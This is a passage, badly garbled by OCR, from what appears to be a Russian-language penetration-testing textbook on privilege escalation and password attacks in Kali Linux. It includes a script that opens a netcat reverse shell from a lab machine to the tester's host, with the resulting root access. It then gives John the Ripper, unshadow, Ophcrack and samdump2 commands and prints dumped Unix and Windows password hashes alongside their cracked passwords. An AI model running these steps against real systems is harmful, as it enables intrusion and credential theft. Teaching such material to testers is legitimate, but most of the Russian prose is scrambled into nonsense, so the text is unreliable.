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OcHoBbIBasich Ha UH(MOPMALIUKU UCXOJHOTO KOJA 9KCILIOITA, HAM HY>KHO COXPaHUTb
HAIITy T0JIe3Hy10 HATPy3Ky B aiisie o/ Ha3BaHUEM run:

echo '#!/bin/bash’' > run echo '/bin/netcat -e /bin/bash 172.16.43.150
31337' >> run

Ha namreit atakyionieil MaluHe HyKHO 3allyCTUTh MIpocayiiuBarenb Netcat, Bbl-
[IOJIHUB CJIEIYIONLY1I0 KOMaH/LY:

nc -vv -1 -p 31337

EQUHCTBEHHOE, YTO OCTAIOCH CIIEIATh, — 3AIlyCTUTH SKCIUIOUT ¢ TPEOYEMbIM apry-
MEHTOM:

./8512.c 2675

Arakyiolas MallliHa BbigaeT ciaenyiomue coobmenns (puc. 9.8).

root@kali:~# nc -vv -1 -p 31337
listening on [any] 31337
172.16.43.156: inverse host lookup failed: Unknown host

[172.16.43.150] from [UNKNOWN} [172.16.43.156] 34370

Puc. 9.8. CooblLeHMst aTaKytoLen MallnHbI

[Tocne BBIOTHEHWS KOMaH/Ibl whoami MbI MOKEM BUJIETh, YTO yCIenrHo MmoBbICUIIN
Halry NpuBUJIErnio 10 root.

NHCTpyMeHTbl nogbopa naporns

B Hacrositiiee BpeMsi OCHOBHBIM CPEICTBOM 3AIUTHI IAHHBIX W TJIABHBIM METO/IOM ayTeH-
TU(UKAIUY [TOJTb30BATEJISI B CUCTEME SABJISIOTCS 11apoJin. [locsie Toro Kak 1oJib30Bartesib
[IPEIOCTABUT TIPABUJIBHOE UMSI IT0JIb30BATEJISI U T1APOJIb, CUCTEMA TIO3BOJIUT €My BOUTH
B Hee ¥ TTOJIYIUTH JIOCTYII K ee (DYHKITMSM Ha OCHOBE aBTOPU3AIUH, TTPEIOCTABICHHON
[10JTb30BATEJIIO C ITUM UMEHEM.

Jl1st kyaccuuKaIuy TUITOB TIPOBEPKU MOJIMHHOCTH MOXKHO UCIIOJIb30BATh CJIE/LY-
fore Tpu hakTopa.

O Heuro, yTo HaM H3BECTHO, HANIPUMED KaKag-TM00 cekperHas undopmauust. ITo 1ep-
BBl (hakTop ayrenTudukanuu. K Hemy oTHOCUTCS 3a/1aHre apoJist. TeopeTudeckn
OH JIOJIKEH GBITh U3BECTEH TOMBKO YIOJTHOMOYEHHOMY JIHILY, HO Ha caMoM Jiefie yoe-
Peub MapoJib OT YYKKX TJ1a3 He TaK-TO U MPOCTO. I103TOMY B 0060 BasKHBIX CJIydastx
ATOT METO[I IJisI Ay TeHTU(DUKAIUH [10JIb30BATENEN JIydllle He TIPUMEHSITh.

O Heuro, yeM MbI 00JaZaeM, HAPUMEP KaKOH-1M00 YHUKaAbHbIH (pU3HYECKUii
00beKT. ITO 0OBIYHO HA3bIBAIOT BTOPHIM (hakTOpoM ayreHThdukaimi. Hampumep,
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K HEMY OTHOCSITCS MapKepbl 6e30MacHOCTH TIaTesKHOi KapThl. [Tocie Toro Kak Bbi
JIOKasKeTe CHCTEME, UTO Y BAC eCTh (haKkTop ayTeHTH(hUKAINHT, BaM Gy/IeT pa3pernieHo
BoiiTH B crcteMy. Heoctatkom 91010 hakTopa siBJsIeTcst To, 4T OH ¢1abo yCTONY B
K KJIOHUPOBAHUIO.

O Heurto, 4TO SIBISIETCS HEOTHEMIEMON YaCTHIO HAC caMHX. JTO TpeTHii (hakTop
ayTeHTU(UKAIIH, KOTOPBII BKJIIOYAET B ceOs1 GHOMETPUYECKOE U PETUHAIBHOE CKa-
Huposanue. Jlauubiii (hakrop siBisieTcst HanboJiee GE30MACHBIM, HO yiKe MyOJInIHO
U3BECTHO O HECKOJIbKUX aTaKaX TAKOTO BUJIA.

Jliist obecriedernst BBICOKOTO YPOBHsT GE30IaCHOCTH JIOM OOBIYHO UCTIOMB3YIOT CPasy
HECKOJIBKO (hakTopoB. Hanbosiee pactipocTpaHeHHBIN BapUAHT — COYETAHHUE TTEPBO-
ro u BToporo (aktopos ayrentudukaiuun. OOBIUHO 3TO HA3BIBAETCS ABYX(DAKTOPHOI
ayTteHTuduKanuei.

K coxxanenmio, ayrenTrduKaiyug Ha OCHOBE MMapoJeii TO-TIPEKHEMY OUeHb TOITYJIap-
Ha. Kax ncrmsItaresb Ha TPOHUKHOBEHNE, BO BPEMS yUacTHS B TECTUPOBAHNUN BbI JIOJIKHBI
NPOBEPUTH GE30MACHOCTH CBOETO MAPOJISL.

B 3aBucuMOCTH OT TOTO, KaK BBITIOTHSIETCS aTaka Ha MapoJid, 3TOT MPOIECC MOKHO
pas3esuTDh HA CAEYIONIIE THITHL.

O AsroHoMHas aTaka. VIciosib3ys aTOT METO/I, 37I0OYMBIIIJIEHHUK TIOJIy4YaeT Xemr-(aiin
C 1[eJIEBOTO KOMITBIOTEPA U KOTTUPYET €r0 Ha KOMITBIOTEP 3JI0YMBIIIIJICHHUKA. 3aTeM
HCIIOJIb3YyeTCsI MHCTPYMEHT JI71s1 B3jioMa 1apoJis. [Ipeumyinectso aToro Meroza 3a-
KJIIOYAETCS B TOM, YTO 3JI0YMBINJIEHHUKY HE HY/KHO GECTIOKOUTHCSA O MEXaHU3ME
GJIOKMPOBKU TTapOJIeld, IOCTYITHBIX Ha 1[€JIEBOM KOMITBIOTEPE, TIOCKOJIBKY MPOIIECC
BBITIOJTHSIETCS JIOKQJIBHO.

O MWMutepakTuBHas aTaka. 3JI0YMBIIJICHHUK ITBITACTCS BOUTH HA YAQJICHHYIO MAIITUHY,
yrajiaB yueTHble JjaHHble. [Tocsie HecKOJIbKUX Hey/laqyHbIX TOIBITOK Yra/laTh MapoJib
yIaJleHHAST MAIIHHA MOKET 3a0JIOKUPOBATH KOMITHIOTED 3JI0YMBIIIJIEHHIKA.

MHCTPYMEHTbI ANsi aBTOHOMHOM aTaku

WNucTpyMenThl B 9TOI KATETOPUU UCIIOJIB3YIOTCS JIJIsI aBTOHOMHBIX aTaK Ha HapOJIH.
OG6BIYHO HTU MHCTPYMEHTHI [TPEIHAZHAYEHDI JIJIs BEPTUKAIBHON ACKAJIAIUY TPUBUIIETHH,
MOCKOJIBKY JIJIsT TT0JTydeHust (DallIoB maposieil MosKeT TOTpeOOBATHCS TPUBUIIETHPOBAH-
HAsl yYeTHasl 3aIUCh.

3auem BaM [Ipyrue ydeTHble [aHHbIe, ECJIM Y BAC YKe eCTb IIPUBUJIETHPOBAHHbIE
yueTHble fanibie? [Ipy BbIOHEHNN TECTUPOBAHUS HA IPOHUKHOBEHNE Bbl MOXKETe
06HAPYKUTD, YTO IPUBUJIETUPOBAHHAST YUETHAS 3aIMCh HE TI03BOJISIET 3aITyCTUTH HYKHOE
npusozkerne. OIHAKO Bbl CMOXKETE 9TO CJIEIaTh, BOWISA B CUCTEMY B Ka4eCTBE OOBIYHOTO
[0JIh30BAaTEJIs1. ITO OJIHA U3 IPUYIH, 10 KOTOPOIT BAM HY’KHO [TOJIYYUTh JAPYTUE YUeTHbIe
JIAHHBIE.

Kpome Toro, 3ajieiicTBoBaB ysi3BUMOCTb B Bujle SQL-UHBEKITUN, MOXKHO CIy4aliHO
c6bpocuth 6asy MaHHBIX 1 OOHAPY/KUTD, YTO YUETHBIE JAHHbBIE XEITHUPOBaHbl. YTOOBI M0~
JIy4uTh HH(MOPMALIUIO U3 X€Ila, MOKHO UCIIOJIb30BATh HHCTPYMEHTBI 9TOI KATETOPHHL.
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John the Ripper

John the Ripper («/Izxou IToTtporurenss ) (http://www.openwall.com/john/) — aTo HHCTPY-
MEHT, KOTOPBII MOKHO MCMOJIb30BATh JIJIs B3JIOMa XelIa 1mapoJid. B Hacrosiiee Bpems
OH MOKeT BajoMaTh OoJiee 40 TuiioB Xemieil napoJieii, rakux kak DES, MD5, LM, NT,
crypt, NTLM u NETNTLM. OziH0 13 IOCTOUHCTB 3TOTO MHCTPYMEHTA, 10 CPABHEHUIO
C JIPYTUMH, OTIMCAHHBIMU B 9TOM TJIaBe, 3aKJII0UAETCS B TOM, 4TO John Mosxet paborath
¢ asroput™amu mmudposanus DES u crypt.

Y1006kl 3amycTUTh WHCTPYMEHT John, BBeuTe B KOMAHHYIO CTPOKY KOHCOJIH
KOMaH/y:

# john

Ha asxpane oTo6passaTcs MHCTPYKIMU 1O paboTe ¢ STUM HWHCTPYMEHTOM.
John nopmep:kuBaeT yeTbipe peskrMa B3JI0Ma HapoJieii.

O PexumMm cnucka cjaoB. B aToM pexnme BaM HYKHO TOJIBKO TPEOCTABUTH (aiin
crrcka cJjioB u daiis napoJis st Bajaoma. Maiin wordlist — TEKCTOBBIN, COAEPIKUT
BO3MO’KHBIE TTAPOJTH. B Kax1011 CTpOKe TOJIBKO O/THO CJIOBO. BbI TaksKe MosKeTe 33/1aTh
[IPABUJIO, YTOOBI MO3BOJIUTH «JIJKOHY» M3MEHSTD CJI0BA, COAEPIKAIIMECS B CIIUCKE
c710B. YTo6bI HCIIOJIb30BaTh wordlist, MPOCTO YKaKuTe napaMerp --wordlist=<uma>.
Bl MosKkeTe co31aTh CBOM COOCTBEHHBII CIIUCOK CJIOB HJIU MOJYYUTh €r0 OT APYTUX
mozieii. EcTh MHOTO caliTOB, MpeoCTaBIASONMNX CIUCKU caoB. Hanpumep, ectb
CIIUCOK ¢JIOB U3 IpoekTa Openwall, KOTOPHI MOKHO 3arpy3uTh ¢ caidta http://
download.openwall.net/pub/wordlists/.

O PeXuM OJMHOYHOTO B3JIOMa. JTOT PEKUM ObLI TIPEJIOKEH aBTOPOM «/IKOHa», 11 €ro
cyeyeT ormpoboBaTh MepBbiM. 371€Ch B KauecTBe KaHANAATOB Ha TapoJib John Oyzxer
WCIIOJIB30BATh JIOTHH, TIOJTHOE UMS M JIOMANTHUH KaTaJoT T0Jb30BaTeNsl. 3aTeM X
OyZyT IPUMEHSATDH JIJIsT B3JIOMa MapoJisi YYETHOM 3allUCH, U3 KOTOPOIl OHU OBLITH
B3SITHI, WJIH JIJISI B3JIOMA Xella MapoJis. B TakoM peskiMe B3JIOM TapOoJIst IPOUCXOAT
HaMHOTO GBICTPEE, YeM B PEKUME CJIOBAPSL.

O MMosranubiii pexxum. B sToM pexume «/[skoH» B KayecTBe HapoJid OIpodyer Bee
BO3MOJKHbIE KOMOMHAIIMY CUMBOJIOB. DTO CaMBIif MOIIHBII METOJ B3JIOMA, U, €CJIN
BBI HE 3a/Ia/UTe YCJIOBUE 3aBEPIICHUS, IPOIECC 3aliMET OUeHb MHOTO BPEMEHHU.
[TpuMepaMu YCIOBHIA 3aBEPIIEHUS SIBJSIOTCS YCTAHOBKA KOPOTKOTO OTPAaHMYEHUST
[apoJIs U UCIoJAb30BaHue HebobIoro Habopa cuMBoJI0B. UTOOBI 3a/1€iiCTBOBATH
3TOT METOJI, HEOOXOAMMO HA3HAUUTH TOITAITHBIN PEKUM B (Dailie KOH(pUTryparum
John. TTo ymomuanuio BeiOpanst peskumbt All, Alnum, Alpha, Digits u Lanman. Ber ke
MOKETE OTPE/IETUTD CBOU COOCTBEHHBIN PEKIIM.

Q Buemmwmii pexxuM. Bam HyKHO co3naTh pasjen ¢daiiina KoHdurypamum ¢ uMmeHem
[List.External:MODE], rjie MODE — Ha3HaYEHHOE BaMU UM4. Jror pasjent 10JIKeH COo-
IepskaTh (PYHKIN Ha A3bike mporpammuposamist C. Ilogpobnee 06 9T0M pesknme MOXK-
Ho nipounTaTh B HTepHeTe 1o azgpecy http://www.openwall.com/john/doc/EXTERNAL.shtml.

Ecau Bbl B KayecTBe apryMeHTa He yKaskeTe B KOMaH/[HOM CTPOKE PEKHUM B3JIOMA,
«JI5KOH> 0 yMOTIaHHIO GY/IET BHIOGUPATH PESKUMBI T10 TTOpsiIKy. CHauama OH BOCTIONB3YETCST
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PEKUMOM OJIMHOYHOTO B3JIoMa. /lasiee mepeiizieT K pesKUMy CIIMCKA CJIOB, a TI0CJIE 9TO-
r0 — K TI09TATHOMY PEKUMY.

I[Ipeskae yem Hauath paGoTath ¢ John, BaM HyKHO IIOLYYnTh (ailiibl naposieil. B mupe
Unix 60JIbUIMHCTBO CUCTEM MCIIOJIB3YIOT (hailjibl shadow 1 passwd. Bbl Mosxkere BoiiTh
B CHCTEMY KaK root, 4TOOBI OYYHUTH OCTYII K (haiiny shadow.

[Tosryuus (aiisibl ¢ HAPOJISIMU, BbI JOJKHBI 00bEIMHUTD 9TH (aiiibl, 4T00bI «[5KOH>
MOT UX UCHIOJIb30BaTh. [[JI1 9TOTO OH NPeNoCTaBIIsIeT BAM HHCTPYMEHT 0] Ha3BaHIEM
unshadow.

Huske npuBenena koManaa s oobenanHenus daiiios shadow 1 passwd. st 9T0T0
MBI UCTIOJTb3yeM (aiisibl /etc/shadow u /etc/passwd BupryaspHoOil MamuHbl Meta-
sploitable 2 1 momernaem ux B KaTajor pwd ¢ IMeHaMU etc-shadow 1 etc-passwd coOT-
BETCTBEHHO:

# unshadow etc-passwd etc-shadow > pass

Hanee mpuBeneH ¢pparMeHT coOEePKUMOTO (aiiia pass:

root:$1$/avpfBl1$x0z8w5UF9Iv./DROEILid. :0:0:root:/root:/bin/bash
sys:$1$fUX6BPOt$Miyc3Up0zQIqz4s5wFD910:3:3:sys:/dev:/bin/sh
klog:$1$f2ZVMS4K$ROXKI.CmLdHhAUE3X9jqP0:103:104: : /home/klog: /bin/false
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin, ,, : /home/msf
admin:/bin/bash
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfIhfcYe/:108:117:PostgreSQL
administrator,,,:/var/lib/postgresql:/bin/bash

user:$1$HESU9xrH$k .03G93DGoXIiQKkPmUgZ0:1001:1001:just a

user,111,, :/home/user:/bin/bash
service:$1$kR3ue73Z$7GXELDuUpr50hp6cjzZ3Bu//:1002:1002:,,,:/home/service:/bin/
bash

YT00bI B3IOMAaTh (haiisr mapoJis, IPOCTO BBEANUTE CJAECAYIONIYI0 KOMAH/Y, T/I€ pass —
9TO haily crcKa mapoJieii, KOTOPBI BbI TOJTHKO UTO CO3/AJIM:

john pass

Eci «/[5KOHY» yIaIoch B3JIOMaTh MapoJin, OH OyIeT XpaHUTh X B (haiiie john. pot.
Y1006l IPOCMOTPETD MAPOJIN, MOAKHO BBIIIOJIHUTD TAKYIO KOMAH/LY:

john --show pass

B sTom ciyuae «/I[sxoH» OBICTPO B3JIOMAET MApOJIH, KaK TOKa3zaHo Ha puc. 9.9.

Puc. 9.9. B3510M naposelt ¢ noMoLbto «[IoHa»
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B caenyioneii Tabiuiie MpUBeAeH CIIUCOK B3JIOMAHHbIX IIAPOJIEIL.
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WUmMa nonb3oBaTens Maponb
postgres postgres
user user
msfadmin msfadmin
service service
klog 123456789
sys batman

N3 cemu niepeuncieHHbIx B Gaitie naposieil «/»KoHy» yaanioch B3JOMaTh MIECTb.
BricTpo B3siomMaTh He TOJIyYMIIOCh TOJBKO OJIMH 1apoJib — I0JIb30BaTeIs root.
EcJn BbI XOTHTE B3JIOMATD 1IapoJib Windows, BaM cHauasia Hy)KHO U3BJiedb u3 (hailios
SAM cucremst Windows xetu iaposteit (LM u/wm NTLM) B opmare BbiBozia prodump.
[Moxpobuyt0 HOOPMAIHMIO BHI MOKETE MOJYYHUTD 10 ajapecy http://www.openwall.com/
passwords/microsoft-windows-nt-2000-xp-2003-vista-#pwdump — Tam IIpeCcTaBIeHO HECKOJIb-

KO U3 9TUX YTUJIUT, B TOM unciie samdump?2 u3 cocrasa npunoxennii Kali Linux.

Yt006bI ¢ TOMOIIHbI0 samdump2 B3JoMaTh moydeHHbIN xett Windows, UCHosb3yst
(aiisr password.1st, Bbl MOKETE BBIOJHUTH CJAEAYIONYIO KOMAHIY:

# john test-sam.txt --wordlist=password.lst --format=nt

[Tonyuyenusrit pesybrat 1mokasan Ha puc. 9.10.

i:~# john test-sam.txt ——wordlisi=password.lst --format=nt

Uéiné default input encoding: UTF-8
Loaded 4 password hashes with no diffe
Remaining 3 password hashes with no di

ant salts (NT [MD4 128/128 AVX 4x3])

rent salts

Warning: no OpenMP support for this hash type, consider --fork=2
Press 'g' or Ctrl-C to abort, almost any other key for status

passwor

rd@l

(Administrator)

lg 0:00:00:00 DONE (2016-04-30 14:20) 100.08g/s 100.0p/s 100

Warning: passwords printed abowve might not be &ll those cracked
e "--show" option to display all of the cracked passwords reliably

completed

Puc. 9.10. B3nom xewa Windows

Daiis password.1lst CONEPKUT CIAEAYIONTYI0 HH(MOPMAIIUIO:

passwordol

Yt06bI YBUIETH PE3YIHTAT, BBEIUTE KOMAMH/Y:

# john test-sam.txt --format=nt --show

Ha puc. 9.11 nokasan ¢pparMeHT mory4eHHOTO apoJis.
«JIsKOH» CMOT TOJIYYHTh TTApOJib afMIUHUCTpaTopa Matrmabl Windows, HO He cMor

B3JIOMATh MapOJIb /751 TOJIb30BaTe 4 tedi.

/s 300.0C/s passwq
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root@kali:~# john test-sam.txt ——format—nt ——show
Administrator: password@l 500 :e52cac67419 2c295285c92cdB6bd :b2641 ae 4cBBe
89cd2b7c78f6fb:::\

Guest::501: aadeﬂBﬁb514@4ﬂnaad3b43“b514@4ﬂﬂ 31d6c feldl
tedi::1003:2ad3b435b51404 ad3b435b5140 :31d6c feldl

ae931b73c59d7eBcO89cO:
ae931b73c59d7eBcB8ScO:

Gae
Ga

3 password hashes cracked, 2 left

Puc. 9.11. ®parMeHT nosyyeHHoro napons

Ecimi BbI IpUBBIKJIM paboTaTh ¢ rpaduyeckum uHTepdeiicoM, «/IKoH» BaM MOKET
ero npegocTaBuTh. ViMst rpadpuueckoro unrepdeiica — Johnny. J{js ero samycka BBeaure
CJIETYIOTIYIO KOMAH/ILY:

# johnny

Ipaduueckuii unTepdeiic Oyaer 3aryiieH, 1 Bbl YBUIUTE €10 OKHO.
Ha puc. 9.12 nokasaH pesysbrar B3jioMa JAByX xeieit Metasploitable 2.

Johnny oo
File Attack Passwords
i ir i r % R % H
Open Passwd File Open Last Session  Start Altack Resume Allack Pause Attack  Copy
User Password Hash GECOS
1 root $1%/avpfBl... |0:Oiroot:froct:/bin/bash
5 2 |sys hatman S1STUXGBP... [3:3:sys:/dev:fbinfsh
Options {3 1410q 123456789 |$1§f22ZVMS... |103:104:/home/klog:/binffalse
] Dﬂ A | msfadmin msfadmin $1$XM10Zj.. (1000:1000:msfadmin,,,:/homefmsfadmin:/binfbash
Statistics (gl ,octgres postygres §15Rw3Sik. .. [108:117-PostgreSQl administrator,,.-fvarflibfpostgresql:/binfbash
) -
X 6 user user $1$HESu9x... |1001:1001:just a user,111,,:/homefuser:/bin/bash
Set_tings 7 service service $1%kR3ue7... |1002:1002:,,, :/home/service:/bin/bash
Qutput
Puc. 9.12. Mpadumyeckmii nHTepdeiic Johnny
Ophcrack

Ophcrack — 510 «pay KHBII» B3JIOMILUK I1apoJieii, ocHoBaHHbIi Ha Tabaunax. OH uc-
noJsbayercs g Baaoma xenreii LM u NTLM napoaeit Windows. ITocrasisgercs B Buze
MIPOTPAMMBbI, 3aITyCKaeMOI 13 KoOMaHHOU cTpoku. [Iporpamma nmeer rpacdudeckuit
unrepdeiic. Kak u RainbowCrack, Ophcrack mpencrasisier co60it KOMIPOMICC MEKILY
BpeMeHeM, 32 KOTOpoe OyAyT B3JIOMAaHbI IIAPOJIM, U PECYPCAMU KOMIIBIOTEPA.

[l 3amycka mpuyIoKeHus BBEJUTE B KOMAH/IHYTIO CTPOKY CJEYIONIYIO0 KOMAaH/TY:

# ophcrack-cli
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Ha axpane nostsiTcst mHCTpyKImu 1o ucnosb3oBanmio Ophcerack u mpumep.
Jls 3amycka rpadudeckoiil 060J0UKH BBEIUTE CJACAYIONLYI0 KOMAH/LY:

# ophcrack

Ha skpane nosiButcst rpadudeckuii uarepdeiic Ophcerack.

I[Ipeskae yem BbI cMoxkeTe ncnonbzosath Ophcerack, Bam HyKHO 3aKadaTh «pajysk-
Hbie» TabauUIbI ¢ caiita http://ophcrack.sourceforge.net/tables.php. B nacrosinee Bpems
CYIIECTBYET TP TAOJIUIIBI, KOTOPbIE MOKHO CKayaTh OECIIATHO.

O Maabie TaGaunpl XP. Jra Tabiuna npeacrabiaser coboii cxarbiii (aiin pasmepom
308 Moaiit. XpaHut HaOOp CUMBOJIOB YHCJIOBBIX 3HAUCHUIT, CTPOUHBIX U MPOTHC-
HBIX OyKB. Y crnenrHocTh atoro daitia — 99,9 %. Daiin HaxoauTest 1o agpecy http://
downloads.sourceforge.net/ophcrack/tables_xp_free_small.zip.

O Bseictpsie Tadsuipsl XP. B atom daiiie coxpaHeH TOT ke HaGOp CUMBOJIOB, UTO
u B Masbix Tabauiax XP. YenemHocts aroro daitaa toxe 99,9 %, Ho ObicTpomeit-
crue Boime. Maiin Haxoautes 1o azgpecy http://downloads.sourceforge.net/ophcrack/
tables_xp_free_fast.zip.

O Ta6umne! Vista. YcnenHocTts atux tadmmi — 99,9 %. Tabauisr ocHOBaHbI Ha CI0Bax
U3 CJI0Baps U MX Bapuanuii. ITo ckatbiil (haiin pasmepom 461 Mobaiit. Ckayarhb ero
MOJKHO 110 a/ipecy http://downloads.sourceforge.net/ophcrack/tables_vista_free.zip.

B kauecTBe puMepa UCIob3yeM Tabiuilbl xp_free_fast. Mbl U3BJIECKIN UX U 110-
MECTHWJIN B KaTajior xp_free_small. Xem napois Windows XP xpanures B (paiiie test-
sam (popmara pwdump.

Jluist B3/10MA paHee ToJMyYeHHbIX Xeleil maposeir Windows MbI HCITOJIb30BaJIH CJie-
JIYTOIIY10 KOMaH/TY:

# ophcrack-cli -d fast -t fast -f test-sam

[lanee mokasaH 1poiiecc B3JoMa MmapoJiei:

Four hashes have been found in test-sam:
Opened 4 table(s) from fast.
oh @m Os; Found empty password for user tedi (NT hash #1)
oh om 1s; Found password D@1 for 2nd LM hash #0
oh Om 13s; Found password PASSWOR for 1st LM hash #@in table XP free
fast #1 at column 4489.
oh @m 13s; Found password password@l for user Administrator (NT hash #0)
oh @m 13s; search (100%); tables: total 4, done ©, using 4; pwd found 2/2.

PesynbTaT BBITIOTHEHHDBIX IEHCTBUN MTPEICTABICH HILKE:

Results:

username / hash LM password NT password
Administrator PASSWORDO1 passwordol
tedl ***empty % %k ***empty %k %k

31ech nokasano, uro Ophcrack mosryuni Bee naposin it COOTBETCTBYIOIINUX 10JIb-
30BaTeJIei.
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Ele ogHO npuiosKeHue AJsl IPOCMOTPa B3JOMaHHbIX IapoJeit — RainbowCrack.
B Kali Linux oHO comepsKuT Tp HHCTpyMeHTa: rtgen, resort u crack.

Yro6bl MOXKHO OBLIO UCTIOIB30BaTh HHCTPYMeHThl RainbowCrack niu Ophcrack,
BaM MOHAZOOATCS «pajtysKHble» TabiuIbl. BectiarHpie TaGIUIbl BbI MOXKETE OJTYIUTh
110 CJIEYIONINM a/I[pecaM:

Q http://www.freerainbowtables.com/en/tables/;
Q http://rainbowtables.shmoo.com/;

QO http://ophcrack.sourceforge.net/tables.php.

samdump?2

Jlis usBiedenuys xemeii naposeil us daiia peecrpa 6asel ganmbix Windows 2K/NT/XP/
Vista u daitia SAM MoHO Hcnosib3oBaTh NHCTpyMeHT samdump?2 (http://sourceforge.net/
projects/ophcrack/files/samdump2/).

B samdump?2 juist mosryueHus xela napoJisi BaM He HY:KHO CHadajia yKa3blBaTh
cucmemnoii katou (SysKey). SysKey — aTo Ki1iou, UCIOJMB3YyEMBIH 7151 MO POBAHUS
xetteit B (aiiie Security Accounts Manager (SAM). OH ObLIT BKJIIOUEH B TPETUN TTAKET
obnosserust Windows NT.

[l 3armycka samdump2 BBeJIITE B KOMAHTHYIO CTPOKY TePMUHAJIA CIIELYIONITYIO KOMAH/LY:

# samdump2

Ha skpane mosBsTCS IPOCTBIE MHCTPYKITMH TT0 FICIIOIB30BAHUIO 3TOTO MHCTPYMEHTA.
CyImecTByeT HECKOTIBKO CITOCOOOB MOTYINTH Xemt maposist Windows.

O IlepBbiii cr1ocobd COCTOUT B MCIIOJb30BAHUU TIPOTPAMMbI samdump2 B cUCTeEMe
Windows u Bmecte ¢ daitiamu SAM. Itu dailibl HaXOAATCS B Katajore KoHpu-
ryparuu c:%windows%system32. Korma Windows paGoraer, 1anHas namka 3a0J0-
KMPOBaHa JIJIsI BCEX YUETHBIX 3amuceil. UTo6bl peruTh aTy mpobiaeMy, HeoGX0MMO
sarpysuth Kali Linux ¢ Linux Live CD 1 ¢cMOHTHPOBaTh pas/iest AUCKaA, XPaHsIIHil
cucremy Windows. TTocsie 9T0oro MoKHO CKOIIMPOBaTh cucTeMHibie SAM-dailiibl Ha
komibiorep ¢ Kali.

Q Bropoii ciocob mosrydyeHus xeli-daiiia mapoJis — UCIOJb30BaHKUE MPOrPaMMbI
pwdump 1 CBSI3AHHBIX C Hell HHCTPYMEHTOB, ITPeHA3HAYEeHHBIX /7T KOMITBIOTepa IO/
yIIpaBJieHreM ollepallnoHHoil cructeMbl Windows.

Q Tperuii ciocobd 1peaycMarpuBaeT IIpuMeHeHrne KoMaH/ibl hashdump 13 cuieHapus
meterpreter. HOleO6HO 006 sTOM criocobe paccKasbIBAIOCh B TIPEIBIIYINEH TIaBe.
Jl1a ucnioibzoBanus hashdump HeE0OX0AUMO 3arpy3uTh B IIEJIEBYIO CUCTEMY CIIEHAPUIA
meterpreter.

Jlnst ynpaskHeHust Ham orpebyercst xern maposist Windows XP SP3. Mbr nipejmosia-
raeM, 4yTo aTa OTlepaIlMoHHas CCTeMa y Bac ysKe ycTaHoBJeHa 1 dhaiisibl SAM coxpaHeHbl
B JIOMAIIIHEM KaTajore sam.
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Cuezyionast KOMaHAa UCIOJIb3yeTcs 1Jist cOpoca Xellia IapoJisi ¢ IIOMOLIBIO samdump2:

# samdump2 system sam -o test-sam

Boixo/mble gannble coxpansiorcs B ¢aiijie test-sam. Huske npuBopuTcs ero co-
NePKUMOE:

Administrator:500:e52cac67419a9a22c295285c92cd06b4:b2641laea8eb4cO0ede89cd2b7c7
8f6fb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089¢O: : :
HelpAssistant:1000:383b9c42d9d1900952ec0055e5b8eb7b:0b742054bdal1d884809e12b109
82360b:::
SUPPORT_38894520:1002:aad3b435b51404eeaad3b435b51404ee:al1d6e496780585e33a9ddd4
14755019a: ::
tedi:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢O: : :

Ternepb BbI MOKETE IPEAOCTABUTH 9TOT (hail/l B3JIOMIIUKAM MapoJieii, Hanpumep John
nu Ophcrack.

MHCTPYMEHTbI OHMalH-aTaKu

B IIPEABIAYIIEM T10APa3/1€JI€ Mbl O6cyZII/IJII/I HECKOJIbKO MHCTPYMEHTOB, KOTOPbIE MOJKHO
TIPpUMEHATD JJI B3JIOMa HapOJIefI B aBTOHOMHOM DpEKNME. 31ech MbI paccMOTpUM HE-
CKOJIBKO HpHJIO)KeHPIfI, IIpeaHa3HAaY€HHbIX JIJIA aTaKKW Ha I1apOJIn. ﬂJIH NCITOJIb30BaHMA
ITUX NHCTPYMEHTOB HeO6XOI[I/IMO IHOJAKJIIOYUTBHCA K He]IeBOI';I MallInHe.

PaCCMOTpI/IM MHCTPYMEHTDI, ITpe/THa3HaYCHHbIE /IJISI TAKNX ueneﬁ, KaK:

O ¢dopmupoBaHue CIIMCKA CJIOB;
U 1mowuck xemia 1napoJd;

O BBINTOJIHEHUE OHJIAITH-aTaKN TmapoJid.

WNucTpyMeHT i1 OHJAliH-aTaKy TapoJis, IPeHa3HAYeHHOTO [T BXO/IA B y/laJleH-
HBI CEPBUC, KaK U JIOTHH MOJIb30BATEIS, UCIIOJIb3YET MPEIOCTABIECHHDIE TIOTHOMOUNS.
C ero noMoIIbi0 MOKHO BBITIOJTHUTH MHOKECTBO TIOTIBITOK BXO/IA B CUCTEMY, TIOKa He OY-
IyT TI0100paHbl TIPaBUJIbHbBIC YUETHBIC TaHHbIE.

HenocraTok aToro MeToia B TOM, YTO COBEPIAIOTCS MHOTOKPATHBIE MOTBITKY MO
KJIOUUTHCS K IeJIEBOMY cepBepy. Baliia ak THBHOCTh MOKET GbITh 3aMedeHa 1 3a0JI0KHU -
poBaHa. YUnThIBad, 4YTO 3/eCh OCYIIECTBIISIETCS BXOJ B CUCTEMY, 9TOT MHCTPYMEHT, 110
CPaBHEHUIO ¢ aBTOHOMHBIMU MHCTPYMEHTaMU aTaku, OyieT paboTaTh A0JIbIIIE.

HecMmoTps Ha TO 4TO UHCTPYMEHT paboTaeT MeAJIeHHO, a aTaka MOXKeT ObITh 3a-
6JIOKMPOBaHa, OH, B OTJIMYME OT aBTOHOMHBIX MHCTPYMEHTOB B3JIOMa MapoJiel, MOKeT
B3JIOMATh MAPOJIU TaKUX ceTeBbiX cirysk0, kak SSH, Telnet u FTP. IIpu BoinosiHeHUN
OHJIAITH-aTaKW BaM cJieftyer ObITh 04eHb 0CTOPOKHbIMK. Harpumep, npumensist rpyoyio
cuiy cepsepa Active Directory (AD), Bbl MOKeTe 3a0JIOKUPOBATh BCE YUETHBIE 3AIIMCU
T0JTb30BaTEJIEH.
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Cnauasa Bam HYKHO IIPOBEPUTDH T1apOJib U ITOJIMTUKY 6JIOKI/IPOBKI/I, a 3aTeM II0IIpo-
60BaTh OINH TIapOJIb VIS BCEX YUETHDIX sanmceﬁ, 4yTOOBI HE 336JIOKI/IpOBaTb ydyeTHbIe
3allCH.

CeWL

Ioawsosamenvcxuii cnucox cios (Custom Word List, CeWL) (http://www.digininja.org/
projects/cewl.php) — 3TO HHCTPYMEHT, KOTOPBII CO3/1aCT YHUKAJIbHBIN CITICOK CJIOB, aHa-
